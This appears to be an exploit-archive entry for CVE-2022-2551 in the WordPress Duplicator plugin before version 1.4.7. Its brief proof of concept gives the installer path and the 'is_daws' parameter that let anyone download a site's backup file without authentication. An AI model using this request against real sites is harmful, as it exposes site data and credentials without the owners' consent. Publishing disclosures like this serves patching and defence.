Wordpress plugin duplicator 1.4.6 unauthenticated backup download Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-08-01 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin duplicator 1.4.6 unauthenticated backup download is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
# Google Dork: N/A
# Date: 07.27.2022
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: < 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2551
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2551

#Product:
WordPress Plugin Duplicator < 1.4.7

#Vulnerability:
1-It allows an attacker to download the backup file.

#Proof-Of-Concept:
1-Backup download.
The backup file can be downloaded using the "is_daws" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php